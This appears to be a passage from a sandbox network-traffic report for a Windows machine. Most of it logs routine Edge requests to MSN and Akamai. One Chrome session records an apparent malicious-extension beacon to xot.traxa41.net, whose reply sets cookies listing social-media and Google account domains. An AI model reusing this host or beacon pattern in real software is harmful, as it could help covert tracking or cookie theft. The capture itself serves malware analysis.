2024-04-23 21:02:26 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 72 69 62 75 74 69 6f 6e 5f 61 6c 74 7d 22 20 77 69 64 74 68 3d 22 24 7b 65 3d 3e 65 2e 61 74 74 72 69 62 75 74 69 6f 6e 5f 77 69 64 74 68 7d 22 20 68 65 69 67 68 74 3d 22 24 7b 65 3d 3e 65 2e 61 74 74 72 69 62 75 74 69 6f 6e 5f 68 65 69 67 68 74 7d 22 20 2f 3e 60 29 7d 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 74 74 72 69 62 75 74 69 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 74 74 72 69 62 75 74 69 6f 6e 2d 74 69 74 6c 65 22 3e 24 7b 65 3d 3e 65 2e 61 74 74 72 69 62 75 74 69 6f 6e 5f 74 69 74 6c 65 7d 3c 2f 73 70 61 6e 3e 24 7b 28 30 2c 6c 2e 67 29 28 28 65 3d 3e 65 2e 61 74 74 72 69 62 75 74 69 6f 6e 5f 70 75 62 6c 69 73 68 65 64 44 61 74 65 29 2c 73 2e 64 79 60 3c 73 70 61 6e 20 63 Data Ascii: 00004000ribution_alt}" width="${e=>e.attribution_width}" height="${e=>e.attribution_height}" />`)}<span class="attribution-container"><span class="attribution-title">${e=>e.attribution_title}</span>${(0,l.g)((e=>e.attribution_publishedDate),s.dy`<span c
2024-04-23 21:02:26 UTC	12	IN	Data Raw: 7d 2e 73 75 67 67 65 73 74 69 0d 0a Data Ascii: }.suggesti
2024-04-23 21:02:26 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 37 37 0d 0a 6f 6e 2d 63 6f 6d 70 61 6e 79 7b 64 69 73 70 6c 61 79 3a 67 72 69 64 3b 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 72 6f 77 73 3a 32 30 70 78 20 32 30 70 78 7d 2e 73 75 67 67 65 73 74 69 6f 6e 2d 61 64 64 2d 69 63 6f 6e 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 39 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 30 70 78 7d 2e 73 75 67 67 65 73 74 69 6f 6e 2d 61 64 64 2d 69 63 6f 6e 20 73 76 67 20 70 61 74 68 7b 66 69 6c 6c 3a 24 7b 78 2e 43 7d 7d 2e 73 75 67 67 65 73 74 69 6f 6e 2d 73 79 6d 62 6f 6c 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 38 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 24 7b 62 2e 63 7d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 24 7b 62 2e 52 7d 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 74 65 78 74 2d 6f 76 65 Data Ascii: 00004077on-company{display:grid;grid-template-rows:20px 20px}.suggestion-add-icon{padding-top:9px;padding-left:10px}.suggestion-add-icon svg path{fill:${x.C}}.suggestion-symbol{font-weight:800;font-size:${b.c};line-height:${b.R};overflow:hidden;text-ove

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49903	23.0.175.178	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	670	OUT	GET /124bcd1a-f3d7-4fb7-9a67-95cb55e1369b/e98de748-51c9-427f-bc64-8a50262c8fdb.mp4 HTTP/1.1 Host: prod-streaming-video-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:26 UTC	499	IN	HTTP/1.1 200 OK Pragma: IISMS/6.0,IIS Media Services Premium by Microsoft Content-Length: 4286595 Content-Type: video/mp4 Content-MD5: 2B4O32ABT4NbtvdCo+OiHQ== Last-Modified: Sun, 15 Oct 2023 18:52:47 GMT ETag: "0x8DBCDAFEC75B70B" Server: Microsoft-IIS/10.0 IISMS/6.0 X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Cache-Control: max-age=1999738 Date: Tue, 23 Apr 2024 21:02:26 GMT Connection: close Alt-Svc: h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43"
2024-04-23 21:02:26 UTC	15885	IN	Data Raw: 00 00 00 20 66 74 79 70 69 73 6f 6d 00 00 02 00 69 73 6f 6d 69 73 6f 32 61 76 63 31 6d 70 34 31 00 00 00 08 66 72 65 65 00 41 55 d8 6d 64 61 74 00 00 02 a1 06 05 ff ff 9d dc 45 e9 bd e6 d9 48 b7 96 2c d8 20 d9 23 ee ef 78 32 36 34 20 2d 20 63 6f 72 65 20 31 36 34 20 2d 20 48 2e 32 36 34 2f 4d 50 45 47 2d 34 20 41 56 43 20 63 6f 64 65 63 20 2d 20 43 6f 70 79 6c 65 66 74 20 32 30 30 33 2d 32 30 32 32 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 76 69 64 65 6f 6c 61 6e 2e 6f 72 67 2f 78 32 36 34 2e 68 74 6d 6c 20 2d 20 6f 70 74 69 6f 6e 73 3a 20 63 61 62 61 63 3d 31 20 72 65 66 3d 33 20 64 65 62 6c 6f 63 6b 3d 31 3a 30 3a 30 20 61 6e 61 6c 79 73 65 3d 30 78 33 3a 30 78 31 31 33 20 6d 65 3d 68 65 78 20 73 75 62 6d 65 3d 37 20 70 73 79 3d 31 20 70 73 79 5f 72 64 Data Ascii: ftypisomisomiso2avc1mp41freeAUmdatEH, #x264 - core 164 - H.264/MPEG-4 AVC codec - Copyleft 2003-2022 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd
2024-04-23 21:02:26 UTC	16384	IN	Data Raw: 2b f6 e7 ba 0f 67 dc fb 62 ce c7 1d c9 4b 18 da de a5 11 ad 80 3b da 05 7e da 7b 04 29 7a 1f fe be a8 69 bc 18 64 61 61 ed f4 ab 4b 76 42 fd ef f4 f6 f1 f0 e3 af 0e ad a1 4d a6 21 64 dd d3 82 b0 62 7b 45 40 f4 a9 cf a8 ed d3 66 59 71 2d 94 ff db c5 f8 ff e0 39 e7 a9 55 ba 1e 3c 83 2e 17 03 eb 11 e2 0a 6e ff 1f 1b 08 56 fd e9 96 94 a9 9f ff 3e 33 19 07 b4 6d 5c c5 91 88 26 15 6c db 8c 56 07 24 ef fa da 19 1f f1 ba ff 82 96 d3 40 06 ce 9a e1 e5 ad 27 ca 8f f7 c9 ef ca ab 07 8d 57 4f 12 c8 bb 37 74 4c 75 92 f1 48 7f 91 62 e2 dd 38 97 dd 5f e7 6f 0b 23 22 a6 85 2f 18 c0 46 db 4d 6e cd ec e0 ba e0 f1 ec 92 5a 24 dc 4c 76 bf c9 8c 41 3e 31 34 14 a1 b8 a6 30 3d 4d ca 1f d9 83 44 43 12 96 94 07 e9 c9 5b 65 d5 1c 8a dd 5f 91 6f 52 c4 f7 cb b9 8e 5d 2a 8d 6d 68 3f Data Ascii: +gbK;~{)zidaaKvBM!db{E@fYq-9U<.nV>3m\&lV$@'WO7tLuHb8_o#"/FMnZ$LvA>140=MDC[e_oR]*mh?
2024-04-23 21:02:26 UTC	3158	IN	Data Raw: 68 1a 71 28 56 47 eb af 4c 05 a2 ab 62 8e 6d 40 ff 34 90 f4 e9 98 5c c4 5b 16 eb 3c f5 dd 63 6a 47 a6 1b 1b fe af ae b3 2f 5e 66 97 61 6d bb de 32 7d 25 1f f3 0a 3b 63 2c ad c8 3e dc 72 78 02 04 55 51 9a fa 7b 94 4e e0 d7 d3 84 51 88 8f ca 30 e2 b8 36 e3 d1 f6 02 60 53 12 3e 9f 2f b5 3c a1 6f f0 69 a7 5e 9a 3f e9 9c ab 4b c4 50 1c 08 d0 00 96 53 4e 21 e7 6b 13 d4 c4 bf 4b dc 92 3c 50 92 61 dd c1 9a eb b2 03 9d bd 0c 78 49 90 a0 89 de 2d 4a 6f 96 68 ea 2a 75 34 43 83 0f 4d 84 e2 ac e9 79 4b 85 22 63 c4 4d c6 9c 82 7b 2d db e3 2f bd 79 b0 9b c6 b2 24 82 77 72 5c 75 6e a4 41 0b a8 db cf 9c 1c 39 11 10 57 83 79 54 1f a4 f7 ac f3 e6 19 b9 a2 df 31 69 5b 75 e8 7f 81 6f 71 01 81 dc 71 af 1b 30 26 d2 52 1f 12 1c bb 44 03 06 8e 6a 70 7c ed a1 89 fd 2c 20 c1 9c f4 Data Ascii: hq(VGLbm@4\[<cjG/^fam2}%;c,>rxUQ{NQ06`S>/<oi^?KPSN!kK<PaxI-Joh*u4CMyK"cM{-/y$wr\unA9WyT1i[uoqq0&RDjp\|,
2024-04-23 21:02:26 UTC	16384	IN	Data Raw: d2 7d cb dc 90 ed 1c dc 09 a1 16 4c 59 8b 49 c1 10 e8 97 b2 52 77 ca 53 2e 9f f2 77 86 50 36 8c ba 1e bc 60 88 68 ec d1 db 6b c2 50 fa da 15 f9 66 75 d6 33 af d8 f4 99 50 a0 ad b1 40 b8 bf 31 95 d6 ef a2 90 a3 be 7e 07 e0 eb f2 76 00 21 89 07 1c 81 1d 8f 3b 49 d3 b6 8c 64 fd 98 3b 04 dd 1f 3b ab 46 39 00 29 5e 2d 4d 01 6b 5f d1 19 27 cf a1 a7 22 64 6d ea be 9e 0d 5f 70 7a 63 8f e4 1b 7c 47 ab 7a 32 c0 d6 d8 99 cb 13 89 1a 15 48 89 08 f9 2c ce 41 df 6c fc f5 55 e5 fe a5 45 05 90 4d e6 9c 75 17 69 76 dd 91 42 f8 cf eb 09 3b 62 fd 4e 9f 2c 03 b7 76 f3 46 62 4a f8 53 27 f0 d6 0d d4 14 d9 9c a7 d2 83 8b 9b 0c 3f f7 a3 b5 38 cf d2 3b 3b ab 55 b2 0e d2 03 63 25 96 d3 27 8c 75 a8 81 92 b3 ec 59 5c 52 e4 d9 5d f6 f2 f3 3d 0a 23 3e 27 ba d5 f6 29 f9 bc 3c 96 cb 6e Data Ascii: }LYIRwS.wP6`hkPfu3P@1~v!;Id;;F9)^-Mk_'"dm_pzc\|Gz2H,AlUEMuivB;bN,vFbJS'?8;;Uc%'uY\R]=#>')<n
2024-04-23 21:02:26 UTC	16384	IN	Data Raw: 32 f8 67 05 7c 57 1a 42 94 27 11 da 09 41 3c 53 47 b3 6a 28 fa 51 0f c9 ff 11 a4 57 c4 47 aa 52 20 cb 04 93 49 3a b7 b4 3b 4b 7b 94 6e e8 61 f8 55 3e 6c 79 6b e7 b7 5c 78 90 82 58 a3 c0 7b 0c f8 78 7e 12 04 81 84 fd e7 9a 05 7a 26 97 58 36 14 25 3d 2c 9b 68 10 26 99 70 f0 b4 88 86 c6 cb 6d ac fb d8 05 1e 01 ff ba 8d d6 41 61 ae 70 f3 cd 13 60 4d 1d ab 30 de 4e 20 6b 75 9b ec 91 a2 b1 22 e2 e0 1a 60 c6 ad a7 b7 ce 7c 29 eb c7 8f 28 91 b9 58 05 80 a8 86 03 d1 28 ef 88 ed 54 35 66 43 f9 51 56 c7 50 5d 68 0f e9 92 e0 31 37 d6 1e 25 0d e5 86 97 e7 c5 39 b4 6b d5 48 9b 16 09 0c 12 3c d5 68 a8 dd aa 93 e0 82 27 80 89 02 f8 e7 b3 4d 4e 53 17 23 3f c8 e7 c7 3e 9e 67 be 75 7b 9d 41 23 50 84 3d 9a 52 63 30 47 0a 1b b1 b1 47 71 55 08 ef f0 b3 89 bf af f0 f8 87 b0 79 Data Ascii: 2g\|WB'A<SGj(QWGR I:;K{naU>lyk\xX{x~z&X6%=,h&pmAap`M0N ku"`\|)(X(T5fCQVP]h17%9kH<h'MNS#?>gu{A#P=Rc0GGqUy
2024-04-23 21:02:26 UTC	7952	IN	Data Raw: 7d 0c b3 91 cd 84 23 3e fc 07 ca cb 1d 92 aa 54 9c 15 7e 32 c9 08 bc ba 8e 47 32 00 b8 e2 2b e8 b9 cb 9a 38 0a 01 e6 18 04 df 85 5d cf 8d e8 52 e8 cd ee ca b2 1e 9d f1 a0 0a 4f 5f f7 b0 bd 67 08 2c 5a d1 81 39 81 85 5d fd 44 4e 0f 29 86 35 3e 62 a9 a9 c0 85 47 6a ed 6b d5 0a a2 54 9b fd 46 42 fa 58 5a 06 50 56 d2 63 58 7e 3f 6b 6a 84 af f2 6e 17 13 6d 13 c1 3c 84 0e b5 b5 d2 71 e8 7c 3e 5c fc 95 9a 42 96 66 68 52 fa c8 a5 4f 95 55 23 1a 38 cc 7b e8 a3 6c c3 8a a2 9f 58 03 50 68 ae 2c 0c c1 d4 86 f0 d7 f7 3d 1e 03 30 f7 fe 18 3f 77 b9 e0 74 bf 84 b7 7e bd f6 8e 94 55 58 b5 cf 4e e2 7b 2c 63 7a ac f9 62 2a a9 2f 2a ae e6 df 3c 92 81 c6 42 d0 7b 09 06 a0 36 1e 84 ca 7e 7d 7c 69 fa 28 0a 80 98 0f 90 5f 84 a6 21 4c d8 9f 3c db 47 35 04 07 6a aa a8 c8 b0 02 95 Data Ascii: }#>T~2G2+8]RO_g,Z9]DN)5>bGjkTFBXZPVcX~?kjnm<q\|>\BfhROU#8{lXPh,=0?wt~UXN{,czb/<B{6~}\|i(_!L<G5j
2024-04-23 21:02:26 UTC	16384	IN	Data Raw: af 00 5b ac e9 38 c9 4e 85 44 8a 0b 13 2f 53 b8 e3 4a c7 6c 96 b8 55 82 8f ec b9 1d 70 11 b1 15 a6 a1 7d d5 e9 1d ba 07 4f 1a b2 b9 a2 58 72 9d 50 26 93 c3 a3 16 44 5f fb 1b 35 d5 6b 32 e7 a3 25 bf 78 aa 51 88 c1 bf b4 01 03 a2 e7 68 b5 40 91 00 9b bd c0 fe 1b 36 ea 24 55 fd fa 82 39 07 0b b1 49 c0 ef 6d 6c 3f 85 9f d9 0c 2a 83 b4 d5 5e 11 25 d1 44 c2 4b f6 3d ce 02 89 2d ab 64 40 34 e2 a3 24 f1 7f dd 21 45 50 ec 51 84 e7 27 80 d0 c0 e2 35 ff cb 47 9c 6b cc 74 a5 c6 2e 5a 7d a5 1c bf 8b f8 2e 00 47 45 17 bd 92 41 e4 db f3 83 6f 4b 0e 1b c5 45 16 f6 aa c7 b4 07 0d d5 dc 98 90 1c 7a 49 eb c2 31 bb 62 43 d8 26 d6 44 38 8f 48 89 7d 9e 84 c1 a1 57 26 26 31 d9 ae e3 c2 22 8c 4d d3 9f 13 86 13 bf c6 0d ad 0e a8 96 30 a5 7f 24 15 75 27 71 77 15 51 47 26 7d 90 ed Data Ascii: [8ND/SJlUp}OXrP&D_5k2%xQh@6$U9Iml?*^%DK=-d@4$!EPQ'5Gkt.Z}.GEAoKEzI1bC&D8H}W&&1"M0$u'qwQG&}
2024-04-23 21:02:26 UTC	16384	IN	Data Raw: f0 2a be 70 09 a3 c1 4d b7 b2 c6 1e 78 bc f4 13 69 4b f8 07 41 ff 99 77 a2 f9 37 bd 9f 7a bf 15 76 2f 07 46 36 4e ad 94 e7 ec 43 8d ac 6a dc 8e c5 cd 30 03 2e 7a 45 6f 92 59 c2 a7 34 f3 66 89 0e 21 3f 55 0c 42 c4 2c 57 52 20 b7 27 1a ea df 4c e3 dd 5f e6 56 ff 4e a5 91 7d a4 b8 07 29 10 e2 68 59 32 0b 90 df fe b4 fb 15 cf b9 45 2a 9e 8e 05 5d 56 3b 4d 88 78 9b 9f 69 79 14 d2 6a e2 20 84 a7 2e d6 67 31 b0 11 72 ca bf 2c bf b9 b0 5d 92 16 91 9e 43 e0 bc e9 ac 3b 53 01 46 02 28 8a 8b 5b 6b f4 71 ae 9d 66 19 ed 2d f0 35 5e fa b2 04 cc 32 44 37 fc 9c ea 74 3c a3 4b 2b 9c d6 fb 6e aa 0a f4 58 72 25 2d 8d a5 f3 5b 84 c2 50 1a 97 18 36 c5 ef ca 9d e2 08 92 c2 e2 11 02 62 f5 dd 47 32 0f 4d 2d 51 bf e6 31 1e 33 ae a9 47 f6 de f4 61 d8 86 7a b4 f4 d6 9f 3c d2 21 f4 Data Ascii: pMxiKAw7zv/F6NCj0.zEoY4f!?UB,WR 'L_VN})hY2E]V;Mxiyj .g1r,]C;SF([kqf-5^2D7t<K+nXr%-[P6bG2M-Q13Gaz<!
2024-04-23 21:02:26 UTC	7952	IN	Data Raw: 1c 27 fd be bd 66 45 36 7a 3d 61 45 c3 b7 bb ff 69 6a 34 fc f0 4f 2f 2d ac 84 0e 95 5c d0 6e 62 f8 0b e9 58 53 7d 89 5b b0 34 f1 0f ca b8 ee 5d f3 df ba 00 e7 2d c6 11 c0 27 68 fb bb 5e bc 72 8c 8a fe ea 3e c6 16 4c 98 fd 55 33 de 8f b1 7e bb e1 28 68 63 39 e9 70 00 1e ea b5 13 ae 4f 9f ce 89 5b b0 35 c7 82 dd 2b 67 c8 89 a8 de 95 9f 47 c3 69 ce a6 6d 17 7a f9 89 56 2c c1 b2 0b d1 6c e1 8e f8 f2 f4 27 ab 4b 83 b6 cd 68 b6 42 92 35 2d 22 4f f7 91 00 86 a4 19 8a 3f e0 ca 64 53 4f 7d 04 5d 66 b6 93 4a 4a a2 05 69 4c 88 9a 10 fb b7 33 3e 29 34 f3 a6 13 27 b9 e9 77 9a bd ee 45 42 6c 0f cb 2e 2e f2 06 1e db ec d1 1e a9 8d c7 85 47 1b e8 2b 32 0d b1 61 c2 52 0b f2 4d 07 83 09 e7 37 fe 18 b5 39 ee 6f 0b c3 91 86 1a 31 d2 e3 64 e5 cb 96 c8 c2 7a 10 e3 c4 ea 1d 16 Data Ascii: 'fE6z=aEij4O/-\nbXS}[4]-'h^r>LU3~(hc9pO[5+gGimzV,l'KhB5-"O?dSO}]fJJiL3>)4'wEBl..G+2aRM79o1dz
2024-04-23 21:02:26 UTC	16288	IN	Data Raw: b3 0b 27 b9 91 34 cc 64 4b 2d 42 41 59 6a 91 36 66 d6 2d 8e 21 46 98 56 8f 64 ef f2 eb e8 cf 30 38 2f 28 1d 7d 47 d4 2e 1e e8 98 ce 52 53 ff 5c 14 f8 6f 84 ec ac 14 b7 f3 e3 46 c9 87 80 3b ee 10 3a 8f 17 04 e4 8e 30 d0 bd 32 0a 84 5b 03 fa e1 a9 99 86 51 04 52 d6 40 4d 48 fe 33 1d d0 94 92 95 a0 0f fa b0 d5 38 56 77 8e 74 7a af 66 27 65 a3 f6 c3 96 91 11 e3 df 87 57 0d 65 74 59 a6 63 00 bd 0b 9e 39 24 2b 8e 86 73 5d a0 3e e5 ad 49 87 b9 01 cc bc 61 e3 10 9f 5f 56 6b ec de 12 58 89 81 64 a6 e0 65 36 3c 7d bd 96 ff 68 b8 d2 34 02 e8 31 98 45 6a 6d fc c0 a4 99 67 fa d4 80 28 7f 11 23 db 5d 57 e6 bc 05 ba 83 81 bf 70 04 2d 56 70 f2 94 37 b6 c6 8f 30 a0 33 95 a7 7c 15 be 42 8b 23 f6 2b 45 d6 44 55 6b 93 d5 bd 1b 46 f8 42 18 87 9a 2a 16 8a 2b 98 20 9b 60 63 e1 Data Ascii: '4dK-BAYj6f-!FVd08/(}G.RS\oF;:02[QR@MH38Vwtzf'eWetYc9$+s]>Ia_VkXde6<}h41Ejmg(#]Wp-Vp703\|B#+EDUkFB*+ `c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49908	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	644	OUT	GET /bundles/v1/edgeChromium/latest/scrollPerfMetricTrackers.9abeb397be7183994289.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:26 UTC	1153	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: +fq1Z0UE1sWZTmS4V5ryIw== Last-Modified: Fri, 19 Apr 2024 19:35:48 GMT ETag: 0x8DC60A7EA24036E Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 8ec45d9d-d01e-0072-3392-94ceba000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:26 GMT Content-Length: 8332 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402748817,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017591 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906146.18017591 Vary: Origin
2024-04-23 21:02:26 UTC	8332	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 73 63 72 6f 6c 6c 50 65 72 66 4d 65 74 72 69 63 54 72 61 63 6b 65 72 73 22 5d 2c 7b 36 30 32 38 31 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 2e 64 28 74 2c 7b 63 72 65 61 74 65 41 70 70 52 65 73 70 6f 6e 73 69 76 65 6e 65 73 73 54 72 61 63 6b 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 2c 63 72 65 61 74 65 45 6e 64 4f 66 46 65 65 64 54 69 6d 65 54 72 61 63 6b 65 72 3a 66 75 6e 63 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["scrollPerfMetricTrackers"],{60281:function(e,t,i){i.d(t,{createAppResponsivenessTracker:function(){return r},createEndOfFeedTimeTracker:func

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49909	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	672	OUT	GET /bundles/v1/edgeChromium/latest/web-components_follow-publisher-button_dist_index_js.bdee2604ba001760eaa1.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:26 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: vp0Miq9JGf/ra0996+S5Yw== Last-Modified: Wed, 17 Apr 2024 19:30:47 GMT ETag: 0x8DC5F14E1F77809 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: fcf83c2d-701e-0044-71fe-9015a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:26 GMT Content-Length: 12499 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402748848,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180175b0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906146.180175b0 Vary: Origin
2024-04-23 21:02:26 UTC	12499	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 77 65 62 2d 63 6f 6d 70 6f 6e 65 6e 74 73 5f 66 6f 6c 6c 6f 77 2d 70 75 62 6c 69 73 68 65 72 2d 62 75 74 74 6f 6e 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 22 5d 2c 7b 39 36 39 32 37 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6f 29 7b 6f 2e 64 28 65 2c 7b 68 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 7d 29 3b 76 61 72 20 69 2c 6e 3d 6f 28 32 33 35 34 39 29 2c 72 3d 6f 28 38 38 38 32 36 29 2c 61 3d Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["web-components_follow-publisher-button_dist_index_js"],{96927:function(t,e,o){o.d(e,{h:function(){return l}});var i,n=o(23549),r=o(88826),a=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49901	23.106.238.238	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	372	OUT	GET /ext/analytic?do=init&from=Chrome3 HTTP/1.1 Host: xot.traxa41.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 21:02:26 UTC	1213	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 20:59:40 GMT Content-Type: image/jpeg Transfer-Encoding: chunked Connection: close Access-Control-Expose-Headers: Penblock Block: 2 Kenblock: enhjdmJubWFzZGZnaGprbHF3ZXJ0eXVpb3BaWENWQk5NQVNERkdISktMUVdFUlRZVUlPUDAxMjM0NTY3ODkrLz0= Penblock: 2-enhjdmJubWFzZGZnaGprbHF3ZXJ0eXVpb3BaWENWQk5NQVNERkdISktMUVdFUlRZVUlPUDAxMjM0NTY3ODkrLz0= Expires: Sat, 01 Jan 2000 00:00:00 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE Set-Cookie: gxid=6628213c59b94; expires=Fri, 23-Apr-2027 20:59:40 GMT; Max-Age=94608000; path=/; domain=.traxa41.net; secure; SameSite=None Set-Cookie: installed=true; expires=Wed, 23-Apr-2025 20:59:40 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Set-Cookie: clog=.facebook.com-.twitter.com-.instagram.com-www.google.com-accounts.google.com-ogs.google.com-.google.com-www.youtube.com-.youtube.com; expires=Wed, 23-Apr-2025 20:59:40 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Img-Error: undefined
2024-04-23 21:02:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
